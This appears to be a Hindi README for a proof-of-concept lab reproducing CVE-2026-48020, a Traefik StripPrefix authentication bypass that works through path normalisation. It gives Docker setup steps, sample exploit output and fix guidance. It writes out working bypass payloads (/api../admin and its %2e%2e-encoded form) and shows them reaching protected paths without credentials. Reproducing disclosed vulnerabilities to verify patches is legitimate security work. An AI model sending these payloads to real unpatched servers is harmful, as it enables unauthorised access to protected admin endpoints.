
CVE-2026-48020 के लिए प्रूफ-ऑफ-कॉन्सेप्ट लैब, जो Traefik के StripPrefix मिडलवेयर में पथ सामान्यीकरण के माध्यम से एक गंभीर प्रमाणीकरण बाईपास का प्रदर्शन करता है। इसमें Docker-आधारित पुनरुत्पादन वातावरण और सत्यापन स्क्रिप्ट शामिल हैं।
CVE-2026-48020 के लिए एक स्व-निहित प्रूफ ऑफ कॉन्सेप्ट, जो Traefik के StripPrefix मिडलवेयर में एक रूट-स्तरीय प्रमाणीकरण/अधिकार बाईपास है, जो पथ सामान्यीकरण के रूटिंग निर्णय लेने के बाद होने के कारण होता है।
एक अनुरोध जैसे GET /api../admin को रूटिंग समय पर एक सार्वजनिक PathPrefix(\/api`)राउटर के माध्यम से रूट किया जाता है (इसलिए संरक्षित राउटर काbasicAuthमिडलवेयर कभी अटैच नहीं होता), लेकिनStripPrefixद्वारा/apiको स्ट्रिप करने और Go केreq.URL.JoinPath()द्वारा शेष/../adminको सामान्यीकृत करने के बाद, बैकएंड को/admin` प्राप्त होता है — एक पथ जो संरक्षित किया जाना था।
client (poc.py)
│ GET /api../admin ← कोई क्रेडेंशियल नहीं
▼
Traefik :18080 ──रूटिंग──▶ सार्वजनिक-api राउटर (PathPrefix /api) + StripPrefix
(छोड़ता है) संरक्षित राउटर (PathPrefix /admin) + basicAuth
│ StripPrefix("/api") के बाद: /../admin ──JoinPath()──▶ /admin
▼
backend :9000 ──▶ 200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }
docker compose up -d --wait # Traefik v3.7.1 + बैकएंड प्रारंभ करें
python3 poc.py # बाईपास जांच चलाएं
[*] Target: http://127.0.0.1:18080
[blocked] direct protected (auth enforced) /admin
-> status=401 body=...
[blocked] direct protected (auth enforced) /internal/config
-> status=401 body=...
[safe ] public strip + exclusion (safe) /api/admin
-> status=404 body=...
[safe ] public strip + exclusion (safe) /api/internal/config
-> status=404 body=...
[!] BYPASS literal .. /api../admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
[!] BYPASS encoded %2e%2e /api%2e%2e/admin
-> status=200 body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.
v3.7.3) परबाईपास पेलोड 200 के बदले 404 लौटाते हैं। पैच (Traefik PR #13215) किसी भी ऐसे अनुरोध को अस्वीकार करता है जिसका पथ StripPrefix/StripPrefixRegex सामान्यीकरण के बाद भिन्न होता है, इसलिए /../admin पुनर्लेखन का पता लगाकर मना कर दिया जाता है।
# docker-compose.yml में इमेज टैग को एक निश्चित संस्करण में बदलें, जैसे:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py # बाईपास पेलोड अब 404 लौटाते हैं -> "कोई बाईपास नहीं देखा गया"
सार्वजनिक रूट को ट्रैवर्सल फॉर्म से मेल खाने से रोकें:
# या तो प्रीफ़िक्स को एंकर करें ताकि उसके बाद '..' न आ सके
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# या ट्रेलिंग-स्लैश प्रीफ़िक्स + ट्रेलिंग-स्लैश स्ट्रिप का उपयोग करें
PathPrefix(`/api/`) + StripPrefix(`/api/`)
Traefik रखरखावकर्ताओं को WonYun / kyun0 (GitHub: H4ck2) द्वारा रिपोर्ट किया गया; GHSA-xf64-8mw2-4gr2 में सुधार किया गया। यह PoC लैब संगत लेख के लिए बनाया गया एक स्वतंत्र पुनरुत्पादन है: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/।
| CVE | CVE-2026-48020 |
| GHSA | GHSA-xf64-8mw2-4gr2 |
| CVSS 3.1 (NVD) | 10.0 गंभीर (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| प्रभावित | Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1 |
| में सुधार | v2.11.48, v3.6.19, v3.7.3 |
| फ़ाइल | उद्देश्य |
|---|
docker-compose.yml | एक कमजोर Traefik (v3.7.1) + एक Python बैकएंड को स्पिन करता है |
dynamic.yml | Traefik डायनेमिक कॉन्फ़िग: एक सार्वजनिक /api स्ट्रिप रूट और basicAuth के पीछे एक संरक्षित /admin,/internal रूट |
backend.py | छोटा बैकएंड जो संरक्षित पथों के लिए एक गुप्त जानकारी लौटाता है |
poc.py | बाईपास पेलोड भेजता है और रिपोर्ट करता है कि कौन से पथ तक पहुँचा गया |